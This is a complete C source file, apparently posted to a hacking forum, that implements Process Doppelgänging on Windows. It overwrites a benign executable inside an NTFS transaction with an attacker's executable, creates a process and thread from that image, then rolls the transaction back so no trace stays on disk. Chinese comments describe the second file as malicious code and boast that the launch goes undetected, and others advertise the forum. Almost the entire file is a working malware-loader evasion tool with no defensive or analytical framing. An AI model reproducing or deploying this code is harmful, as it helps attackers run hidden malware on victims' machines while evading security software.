#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <KtmW32.h>
#include <lmerr.h>
#include <winternl.h>
#include <psapi.h>
#include <Processthreadsapi.h>
#include "ntdefs.h"
// To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS
#pragma comment(lib, "psapi.lib")
void
DisplayErrorText(
DWORD dwLastError
)
{
HMODULE hModule = NULL; // default to system source
LPSTR MessageBuffer;
DWORD dwBufferLength;
DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_IGNORE_INSERTS |
FORMAT_MESSAGE_FROM_SYSTEM;
//
// If dwLastError is in the network range,
// load the message source.
//
if (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) {
hModule = LoadLibraryEx(
TEXT("netmsg.dll"),
NULL,
LOAD_LIBRARY_AS_DATAFILE
);
if (hModule != NULL)
dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE;
}
//
// Call FormatMessage() to allow for message
// text to be acquired from the system
// or from the supplied module handle.
//
if (dwBufferLength = FormatMessageA(
dwFormatFlags,
hModule, // module to get message from (NULL == system)
dwLastError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language
(LPSTR)&MessageBuffer,
0,
NULL
))
{
DWORD dwBytesWritten;
//
// Output message string on stderr.
//
WriteFile(
GetStdHandle(STD_ERROR_HANDLE),
MessageBuffer,
dwBufferLength,
&dwBytesWritten,
NULL
);
//
// Free the buffer allocated by the system.
//
LocalFree(MessageBuffer);
}
//
// If we loaded a message source, unload it.
//
if (hModule != NULL)
FreeLibrary(hModule);
}
LPVOID GetBaseAddressByName(HANDLE hProcess, char *module)
{
MEMORY_BASIC_INFORMATION mbi;
SYSTEM_INFO si;
LPVOID lpMem;
char moduleName[MAX_PATH] = { 0 };
/* Get maximum address range from system info */
GetSystemInfo(&si);
/* walk process addresses */
lpMem = 0;
while (lpMem < si.lpMaximumApplicationAddress) {
VirtualQueryEx(hProcess, lpMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
GetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH);
if (strstr(moduleName,module))//mbi.Type & MEM_IMAGE)
return mbi.BaseAddress;
/* increment lpMem to next region of memory 代码来自miao1yan.top社区*/
lpMem = (LPVOID)((ULONGLONG)mbi.BaseAddress +(ULONGLONG)mbi.RegionSize);
}
return NULL;
}
int main(int argc,char *argv[] )
{
LARGE_INTEGER liFileSize;
DWORD dwFileSize;
HANDLE hSection;
NTSTATUS ret;
UNICODE_STRING string;
if (argc < 3) {
printf("%s <exe to Doppelgang> <your exe>",argv[0]);
return 0;
}
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
if (NULL==hNtdll)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got ntdll.dll at 0x%llx\n", hNtdll);
NtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
if (NULL == createSection)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtCreateSection at 0x%08p\n", createSection);
WCHAR temp[MAX_PATH] = { 0 };
char fileFullPath[MAX_PATH] = { 0 };
GetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL);
MultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen(fileFullPath), temp, MAX_PATH);
//创建一个事物
HANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp);
if (INVALID_HANDLE_VALUE == hTransaction)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Created a transaction, handle 0x%x\n", hTransaction);
//CreateFileTransacted 函数用于以事务性操作创建或者打开一个文件、文件流或者文件夹。此函数返回一个可以用于访问此对象的句柄
//以读写的方式加载正常的进程文件
//此处打开良性文件 来miao1yan.top社区学习更多内容
HANDLE hTransactedFile = CreateFileTransacted(fileFullPath,
GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
if (INVALID_HANDLE_VALUE == hTransactedFile)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] CreateFileTransacted on %s, handle 0x%x\n", fileFullPath, hTransactedFile);
//打开恶意指令文件
HANDLE hExe = CreateFile(argv[2],
GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hExe)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] opened malexe.exe, handle 0x%x\n", hExe);
//获取恶意指令文件大小
BOOL err = GetFileSizeEx(hExe, &liFileSize);
if (FALSE == err)
{
DisplayErrorText(GetLastError());
return -1;
}
dwFileSize = liFileSize.LowPart;
printf("[+] malexe size is 0x%x\n", dwFileSize);
//shsh为恶意指令文件申请buffer
BYTE *buffer = malloc(dwFileSize);
if (NULL == buffer)
{
printf("Malloc failed\n");
return -1;
}
printf("[+] allocated 0x%x bytes\n", dwFileSize);
DWORD read = 0;
if (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL))//读取恶意代码出来
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] read malexe.exe to buffer\n");
DWORD wrote = 0;
if (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL))//吧恶意代码写入之前以事物的方式创建的进程里
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] over wrote %s in transcation\n", fileFullPath);
// 创建一个映射节 指向刚才打开的进程 为之后创建的进程使用
ret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile);
if(FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] created a section with our new malicious %s\n", fileFullPath);
//获取相关api地址
NtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
if (NULL == createProcessEx)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtCreateProcessEx 0x%08p\n", createProcessEx);
HANDLE hProcess=0;
my_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
initUnicodeString(&string, temp);
//用刚才创建映射节 来创建进程
ret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);
printf("[+] Created our process, handle 0x%x\n", hProcess);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
//恶意文件的buffer 按照pe头的格式 提取出入口偏移地址 再加上刚才创建的进程的内存入口地址 就是真正的内存入口地址
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew);
ULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint;
oep+=(ULONGLONG)GetBaseAddressByName(hProcess,argv[1]);
printf("[+] our new process oep is 0x%llx\n", oep);
//获取创建线程api
NtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
if (NULL == createThreadEx)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtCreateThreadEx 0x%08p\n", createThreadEx);
my_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0;
//获取创建进程启动参数的api
RtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
if (NULL == createProcessParametersEx)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got RtlCreateProcessParametersEx 0x%08p\n", createProcessParametersEx);
//ch创建一个进程参数
ret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] creating Process Parameters at 0x%p\n", ProcessParams);
//
LPVOID RemoteProcessParams;
//为进程参数所在的内存 分配一块内存
RemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, (ULONGLONG)ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
if(NULL == RemoteProcessParams)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] creating memory at process for our paramters 0x%08x\n", RemoteProcessParams);
//吧创建的进程参数 写入刚才那块内存里
ret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] writing our paramters to the process\n");
//获取查询进程信息的api
//看到很多开源的 免费的资料 被各种"山总""大手子"式的人物拿来赚钱 各种起名部 在广海一通宣传 我就觉得这个圈子已经大乱套了 都穷疯了
//啥都拿来卖 抄也要仔细看看人家大佬的代码啊 完全不走心 所以我建了miao1yan.top论坛 希望各位大佬 新人 多多支持
my_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
if (NULL == queryInformationProcess)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtQueryInformationProcess 0x%08p\n", queryInformationProcess);
PROCESS_BASIC_INFORMATION info;
//查询进程信息
ret = queryInformationProcess(
hProcess,
ProcessBasicInformation,
&info,
sizeof(info),
0);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
//获取peb
PEB *peb = info.PebBaseAddress;
//吧进程启动参数写入到peb里面去
ret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof(LPVOID), NULL);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] writing our paramters to the process peb 0x%08p\n", peb);
//创建一个进程的主线程
HANDLE hThread;
ret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL);
printf("[+] Thread created with handle %x\n", hThread);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
//回滚操作 原来的进程文件 没有恶意代码了 恶意代码不会提交到文件系统 但是新创建的进程 内存仍然存在恶意代码 一切神不知鬼不觉
if (FALSE == RollbackTransaction(hTransaction))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] rolling back the original %s\n", fileFullPath);
CloseHandle(hProcess);
CloseHandle(hExe);
CloseHandle(hTransactedFile);
CloseHandle(hTransaction);
return 0;
}[/pre][/hide]